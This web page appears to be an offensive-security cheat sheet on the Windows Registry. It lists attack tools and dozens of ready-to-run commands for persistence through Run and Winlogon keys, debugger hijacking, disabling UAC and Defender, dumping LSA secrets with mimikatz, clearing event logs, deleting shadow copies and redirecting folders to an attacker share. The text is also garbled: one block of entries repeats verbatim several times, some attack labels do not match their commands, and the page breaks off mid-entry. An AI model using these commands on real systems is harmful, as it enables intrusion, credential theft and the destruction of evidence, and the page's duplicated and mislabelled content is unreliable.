The Windows Registry is a centralized configuration system that stores information necessary to configure the system for one or more users, applications, and hardware devices. The data is stored in a tree structure with nodes, and each node is called a "key." Each key can contain both subkeys and data entries (or values).

Structure of the Registry

The Windows Registry is divided into several different sections, or "hives." Some of the primary hives include:

• HKEY_CLASSES_ROOT (HKCR): Contains information about registered applications, such as file associations and OLE Object Class IDs.

• HKEY_CURRENT_USER (HKCU): Contains settings for the currently logged-in user.

• HKEY_LOCAL_MACHINE (HKLM): Contains system-related information about the local machine, such as hardware configurations and software settings.

• HKEY_USERS (HKU): Contains settings for all users on the system.

• HKEY_CURRENT_CONFIG: Contains information about the current hardware profile.

Important Registry Paths for Forensic Analysis

Important Registry Paths for Offensive Security and Red Teaming

Perfusion

On Windows 7, Windows Server 2008R2, Windows 8, and Windows Server 2012, the registry key of the RpcEptMapper and DnsCache (7/2008R2 only) services is configured with weak permissions. Any local user can create a Performance subkey and then leverage the Windows Performance Counters to load an arbitrary DLL in the context of the WMI service as NT AUTHORITY\SYSTEM (hence the tool's name).

Perfusion.exe -c cmd -i

github.com/itm4n/Perfusion

CreateHiddenAccount

A tool for creating hidden accounts using the registry

CreateHiddenAccount.exe -u teamssix -p Passw0rd

github.com/wgpsec/CreateHiddenAccount

WinDefenderKiller

# x86_64-w64-mingw32-g++ -O2 disableWinDef.cpp -o winDefKiller -I/usr/share/mingw-w64/include -L/usr/lib -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -Wnarrowing -fexceptions

github.com/S12cybersecurity/WinDefenderKiller

usbdeviceforensics

usbdeviceforensics is a python script to extract numerous bits of information regarding USB devices. It initially used the information from a SANS blog (Rob Lee) post to retrieve operating system specific information. It now has the ability to process multiple NTUSER.dat registry hives in one go.

python setup.py build

github.com/woanware/usbdeviceforensics

hivex

a library for reading and writing Windows Registry "hive" files

autoreconf -i
./generator/generator.ml
./configure
make
make check

github.com/libguestfs/hivex

Autopsy-Registry-Explorer

Autopsy Module to analyze Registry Hives

github.com/0xHasanM/Autopsy-Registry-Explorer

RegistryExtraction

A python script that will extract the SAM, SYSTEM, and SECURITY registry hive files to C:\ for easy extraction.

https://registryextract.py/

github.com/BeetleChunks/RegistryExtraction

HiveNightmare

Exploit allowing you to read registry hives as non-admin on Windows 10 and 11

HiveNightmare.exe 200

github.com/GossiTheDog/HiveNightmare

windows_hardening

HardeningKitty and Windows Hardening settings and configurations

Import-Module .\HardeningKitty.psm1
Invoke-HardeningKitty -EmojiSupport

github.com/0x6d69636b/windows_hardening

Persistence via Startup Programs

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Attacks: System Persistence, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MalwareName /t REG_SZ /d "malwarepath.exe"

User-Level Persistence

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Attacks: User Persistence, Malware Execution
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MalwareName /t REG_SZ /d "malwarepath.exe"

Manipulating System Services

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services
Attacks: Privilege Escalation, Service Manipulation
Codes:sc create EvilService binPath= "evil.exe"

Credential Theft at Login

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Attacks: Credential Theft, Persistence
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /t REG_SZ /d "evil.exe"

User-Level Persistence via Policies

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Attacks: User Persistence, Malware Execution
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MalwareName /t REG_SZ /d "malwarepath.exe"

System-Level Persistence via Policies

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Attacks: System Persistence, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MalwareName /t REG_SZ /d "malwarepath.exe"

Binary Hijacking

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Attacks: Binary Hijacking, Debugger Redirection
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe /v Debugger /t REG_SZ /d "evilcalc.exe"

DLL Loading via Shell Extensions

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
Attacks: Persistence, DLL Loading
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad /v EvilDLL /t REG_SZ /d "evildllpath.dll"

Bypassing Outlook Security

Registry Path:HKCU\Software\Microsoft\Office\<version>\Outlook\Security
Attacks: Phishing, Malicious Attachment Execution
Codes:reg add HKCU\Software\Microsoft\Office\<version>\Outlook\Security /v Level1Remove /t REG_SZ /d ".exe"

Credential Dumping via LSA

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Attacks: Credential Theft, LSA Secrets Dumping
Codes:mimikatz "lsadump::lsa /patch"

User Activity via Typed URLs

Registry Path:HKCU\Software\Microsoft\Internet Explorer\TypedURLs
Attacks: Gathering Browsing History
Codes:reg query HKCU\Software\Microsoft\Internet Explorer\TypedURLs

User-Level Persistence via Explorer Policies

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Attacks: User Persistence, Restricting Access
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1

Network Profiles Access

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles
Attacks: Gathering Network Information
Codes:reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles

File Extension Actions Manipulation

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt /v Progid /t REG_SZ /d "evilprogid"

Search Assistant History Access

Registry Path:HKCU\Software\Microsoft\Search Assistant\ACMru
Attacks: Gathering Search Queries
Codes:reg query HKCU\Software\Microsoft\Search Assistant\ACMru

USB Device History Access

Registry Path:HKLM\SYSTEM\CurrentControlSet\Enum\USB
Attacks: Gathering USB Connection History
Codes:reg query HKLM\SYSTEM\CurrentControlSet\Enum\USB

User Profile Paths Access

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
Attacks: Gathering User Profile Information
Codes:reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

Desktop Settings Manipulation

Registry Path:HKCU\Control Panel\Desktop
Attacks: User Experience Manipulation, Screen Lock Bypass
Codes:reg add HKCU\Control Panel\Desktop /v ScreenSaveTimeOut /t REG_SZ /d "0"

User-Specific Folder Redirection

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Attacks: Data Theft, Folder Redirection
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Personal /t REG_SZ /d "\\evilserver\stolen_data"

Group Policy Settings Manipulation

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
Attacks: Policy Manipulation, System Behavior Alteration
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy /v DisableCMD /t REG_DWORD /d 0

Memory Management Manipulation

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
Attacks: System Performance Degradation
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management /v ClearPageFileAtShutdown /t REG_DWORD /d 1

Windows Folder Path Manipulation

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
Attacks: System Behavior Alteration, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows /v AppInit_DLLs /t REG_SZ /d "evil.dll"

User-Specific Policies Manipulation

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Attacks: User Experience Manipulation, Restricting Access
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1

Network Configuration Access

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
Attacks: Gathering Network Configuration
Codes:reg query HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

Recently Executed Programs Access

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings
Attacks: Gathering User Activity
Codes:reg query HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings

Recent Documents Access

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
Attacks: Gathering Recently Accessed Documents
Codes:reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

Internet Connections Settings Manipulation

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Attacks: Man-in-the-Middle, Proxy Redirection
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections /v DefaultConnectionSettings /t REG_BINARY /d [modified_hex_values]

Computer Name Access

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\ComputerName
Attacks: Gathering System Information
Codes:reg query HKLM\SYSTEM\CurrentControlSet\Control\ComputerName

Firewall Settings Manipulation

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall add rule name="EvilRule" dir=in action=allow program="evil.exe"

Time Zone Manipulation

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
Attacks: Timestamp Manipulation, Evidence Tampering
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation /v TimeZoneKeyName /t REG_SZ /d "EvilTimeZone"

Driver Loading

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\DriverDatabase
Attacks: Kernel-Level Persistence, Privilege Escalation
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Services\DriverDatabase /v EvilDriver /t REG_SZ /d "evildriver.sys"

Remote Desktop Configuration

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Autorun Settings Manipulation

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
Attacks: Malware Execution via Removable Media
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /t REG_DWORD /d 0

User Account Control (UAC) Bypass

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Attacks: Privilege Escalation, UAC Bypass
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0

Windows Defender Manipulation

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
Attacks: Antivirus Bypass, Malware Execution
Codes:reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1

Boot Configuration Data

Registry Path:HKLM\BCD00000000
Attacks: Bootkit Installation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Update Manipulation

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Denial of Service, System Vulnerability Exploitation
Codes:reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /v DisableWindowsUpdateAccess /t REG_DWORD /d 1

Windows Activation Bypass

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Software Piracy, Licensing Bypass
Codes:slmgr /ipk XXXXX-XXXXX-XXXXX-XXXXX-XXXXX

Event Log Manipulation

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\Eventlog
Attacks: Evidence Tampering, Audit Bypass
Codes:wevtutil cl System

Windows Error Reporting Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting
Attacks: Information Disclosure, Crash Analysis Bypass
Codes:reg add HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting /v Disabled /t REG_DWORD /d 1

Application Compatibility Shims

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags
Attacks: Privilege Escalation, Application Bypass
Codes:sdbinst evil.sdb

Power Settings Manipulation

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Power
Attacks: Denial of Service, Energy Consumption Manipulation
Codes:powercfg /setactive evilpowerplan

Windows Firewall Rule Manipulation

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules
Attacks: Unauthorized Access, Firewall Bypass
Codes:netsh advfirewall firewall add rule name="EvilRule" dir=in action=allow protocol=TCP localport=4444

Windows Script Host Control

Registry Path:HKCU\Software\Microsoft\Windows Script Host\Settings
Attacks: Script Execution Control, Malware Execution
Codes:reg add HKCU\Software\Microsoft\Windows Script Host\Settings /v Enabled /t REG_DWORD /d 0

Windows Sidebar Gadgets Control

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Windows\Sidebar
Attacks: Malicious Gadget Execution, Information Disclosure
Codes:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Windows\Sidebar /v TurnOffSidebar /t REG_DWORD /d 1

Windows Task Scheduler Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule
Attacks: Scheduled Task Manipulation, Persistence
Codes:schtasks /create /tn EvilTask /tr evil.exe /sc daily

Windows Services Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services
Attacks: Service Manipulation, Privilege Escalation
Codes:sc create EvilService binPath= "evil.exe"

Windows System Restore Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
Attacks: System Restore Manipulation, Evidence Tampering
Codes:vssadmin delete shadows /all

Windows Remote Management Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
Attacks: Unauthorized Remote Access, System Control
Codes:winrm quickconfig -q

Windows Remote Desktop Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access, System Control
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Windows Remote Assistance Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0
Attacks: Unauthorized Remote Access, System Control
Codes:msra /offerRA

Windows File Association Control

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking, Malware Execution
Codes:assoc .txt=evilprogid

Windows Network Shares Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
Attacks: Unauthorized Network Access, Data Theft
Codes:net share EvilShare=C:\evil

Windows Network Settings Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
Attacks: Network Manipulation, Man-in-the-Middle
Codes:netsh interface ip set dns "Local Area Connection" static 1.2.3.4

Windows Driver Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Class
Attacks: Driver Manipulation, Kernel-Level Control
Codes:pnputil /add-driver evil.inf

Windows Boot Control

Registry Path:HKLM\BCD00000000
Attacks: Boot Manipulation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Activation Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Activation Bypass, Licensing Manipulation
Codes:slmgr /rearm

Windows Update Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Update Manipulation, Vulnerability Exploitation
Codes:wuauclt /detectnow

Windows Firewall Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Windows Security Center Control

Registry Path:HKLM\SOFTWARE\Microsoft\Security Center
Attacks: Security Alert Suppression, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t REG_DWORD /d 1

Windows Event Viewer Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EventViewer
Attacks: Log Manipulation, Evidence Tampering
Codes:wevtutil cl Security

Windows Performance Monitor Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
Attacks: System Monitoring, Data Theft
Codes:logman create counter EvilMonitor -o "C:\evil.log" -f csv -v mmddhhmm -c "\Processor(_Total)\% Processor Time"

Windows Power Configuration Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Power
Attacks: Energy Consumption Manipulation, Denial of Service
Codes:powercfg /hibernate off

Windows Credential Manager Control

Registry Path:HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb
Attacks: Credential Theft, Data Decryption
Codes:cmdkey /list

Windows Task Scheduler Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
Attacks: Scheduled Task Manipulation, Persistence
Codes:schtasks /create /tn EvilTask /tr evil.exe /sc daily

Windows System Restore Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
Attacks: System Restore Manipulation, Evidence Tampering
Codes:vssadmin delete shadows /all

Windows Remote Management Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
Attacks: Unauthorized Remote Access, System Control
Codes:winrm quickconfig -q

Windows Remote Desktop Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access, System Control
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Windows Remote Assistance Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0
Attacks: Unauthorized Remote Access, System Control
Codes:msra /offerRA

Windows File Association Control

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking, Malware Execution
Codes:assoc .txt=evilprogid

Windows Network Shares Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
Attacks: Unauthorized Network Access, Data Theft
Codes:net share EvilShare=C:\evil

Windows Network Settings Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
Attacks: Network Manipulation, Man-in-the-Middle
Codes:netsh interface ip set dns "Local Area Connection" static 1.2.3.4

Windows Driver Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Class
Attacks: Driver Manipulation, Kernel-Level Control
Codes:pnputil /add-driver evil.inf

Windows Boot Control

Registry Path:HKLM\BCD00000000
Attacks: Boot Manipulation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Activation Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Activation Bypass, Licensing Manipulation
Codes:slmgr /rearm

Windows Update Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Update Manipulation, Vulnerability Exploitation
Codes:wuauclt /detectnow

Windows Firewall Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Windows Security Center Control

Registry Path:HKLM\SOFTWARE\Microsoft\Security Center
Attacks: Security Alert Suppression, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t REG_DWORD /d 1

Windows Event Viewer Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EventViewer
Attacks: Log Manipulation, Evidence Tampering
Codes:wevtutil cl Security

Windows Performance Monitor Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
Attacks: System Monitoring, Data Theft
Codes:logman create counter EvilMonitor -o "C:\evil.log" -f csv -v mmddhhmm -c "\Processor(_Total)\% Processor Time"

Windows Power Configuration Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Power
Attacks: Energy Consumption Manipulation, Denial of Service
Codes:powercfg /hibernate off

Windows Credential Manager Control

Registry Path:HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb
Attacks: Credential Theft, Data Decryption
Codes:cmdkey /list

Windows Task Scheduler Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
Attacks: Scheduled Task Manipulation, Persistence
Codes:schtasks /create /tn EvilTask /tr evil.exe /sc daily

Windows System Restore Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
Attacks: System Restore Manipulation, Evidence Tampering
Codes:vssadmin delete shadows /all

Windows Remote Management Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
Attacks: Unauthorized Remote Access, System Control
Codes:winrm quickconfig -q

Windows Remote Desktop Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access, System Control
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Windows Remote Assistance Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0
Attacks: Unauthorized Remote Access, System Control
Codes:msra /offerRA

Windows File Association Control

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking, Malware Execution
Codes:assoc .txt=evilprogid

Windows Network Shares Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
Attacks: Unauthorized Network Access, Data Theft
Codes:net share EvilShare=C:\evil

Windows Network Settings Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
Attacks: Network Manipulation, Man-in-the-Middle
Codes:netsh interface ip set dns "Local Area Connection" static 1.2.3.4

Windows Driver Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Class
Attacks: Driver Manipulation, Kernel-Level Control
Codes:pnputil /add-driver evil.inf

Windows Boot Control

Registry Path:HKLM\BCD00000000
Attacks: Boot Manipulation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Activation Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Activation Bypass, Licensing Manipulation
Codes:slmgr /rearm

Windows Update Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Update Manipulation, Vulnerability Exploitation
Codes:wuauclt /detectnow

Windows Firewall Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Windows Security Center Control

Registry Path:HKLM\SOFTWARE\Microsoft\Security Center
Attacks: Security Alert Suppression, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t REG_DWORD /d 1

Windows Event Viewer Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EventViewer
Attacks: Log Manipulation, Evidence Tampering
Codes:wevtutil cl Security

Windows Performance Monitor Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
Attacks: System Monitoring, Data Theft
Codes:logman create counter EvilMonitor -o "C:\evil.log" -f csv -v mmddhhmm -c "\Processor(_Total)\% Processor Time"

Windows Power Configuration Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Power
Attacks: Energy Consumption Manipulation, Denial of Service
Codes:powercfg /hibernate off

Windows Credential Manager Control

Registry Path:HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb
Attacks: Credential Theft, Data Decryption
Codes:cmdkey /list

Windows Task Scheduler Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
Attacks: Scheduled Task Manipulation, Persistence
Codes:schtasks /create /tn EvilTask /tr evil.exe /sc daily

Windows System Restore Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
Attacks: System Restore Manipulation, Evidence Tampering
Codes:vssadmin delete shadows /all

Windows Remote Management Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
Attacks: Unauthorized Remote Access, System Control
Codes:winrm quickconfig -q

Windows Remote Desktop Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access, System Control
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Windows Remote Assistance Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0
Attacks: Unauthorized Remote Access, System Control
Codes:msra /offerRA

Windows File Association Control

Registry Path:HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
Attacks: File Association Hijacking, Malware Execution
Codes:assoc .txt=evilprogid

Windows Network Shares Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares
Attacks: Unauthorized Network Access, Data Theft
Codes:net share EvilShare=C:\evil

Windows Network Settings Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
Attacks: Network Manipulation, Man-in-the-Middle
Codes:netsh interface ip set dns "Local Area Connection" static 1.2.3.4

Windows Driver Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Class
Attacks: Driver Manipulation, Kernel-Level Control
Codes:pnputil /add-driver evil.inf

Windows Boot Control

Registry Path:HKLM\BCD00000000
Attacks: Boot Manipulation, System Integrity Compromise
Codes:bcdedit /set {bootmgr} path \EFI\evil\evilmgr.efi

Windows Activation Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
Attacks: Activation Bypass, Licensing Manipulation
Codes:slmgr /rearm

Windows Update Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Attacks: Update Manipulation, Vulnerability Exploitation
Codes:wuauclt /detectnow

Windows Firewall Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy
Attacks: Firewall Bypass, Unauthorized Access
Codes:netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Windows Security Center Control

Registry Path:HKLM\SOFTWARE\Microsoft\Security Center
Attacks: Security Alert Suppression, Malware Execution
Codes:reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t REG_DWORD /d 1

Windows Event Viewer Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\EventViewer
Attacks: Log Manipulation, Evidence Tampering
Codes:wevtutil cl Security

Windows Performance Monitor Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib
Attacks: System Monitoring, Data Theft
Codes:logman create counter EvilMonitor -o "C:\evil.log" -f csv -v mmddhhmm -c "\Processor(_Total)\% Processor Time"

Windows Power Configuration Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Power
Attacks: Energy Consumption Manipulation, Denial of Service
Codes:powercfg /hibernate off

Windows Credential Manager Control

Registry Path:HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb
Attacks: Credential Theft, Data Decryption
Codes:cmdkey /list

Windows Task Scheduler Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
Attacks: Scheduled Task Manipulation, Persistence
Codes:schtasks /create /tn EvilTask /tr evil.exe /sc daily

Windows System Restore Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
Attacks: System Restore Manipulation, Evidence Tampering
Codes:vssadmin delete shadows /all

Windows Remote Management Control

Registry Path:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
Attacks: Unauthorized Remote Access, System Control
Codes:winrm quickconfig -q

Windows Remote Desktop Control

Registry Path:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
Attacks: Unauthorized Remote Access, System Control
Codes:reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0

Windows Remote Assistance Control

Registry Path:HKLM\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0
Attacks: Unauthorized Remote Access, System Control
Codes:msra /offerRA

Windows File Association Control

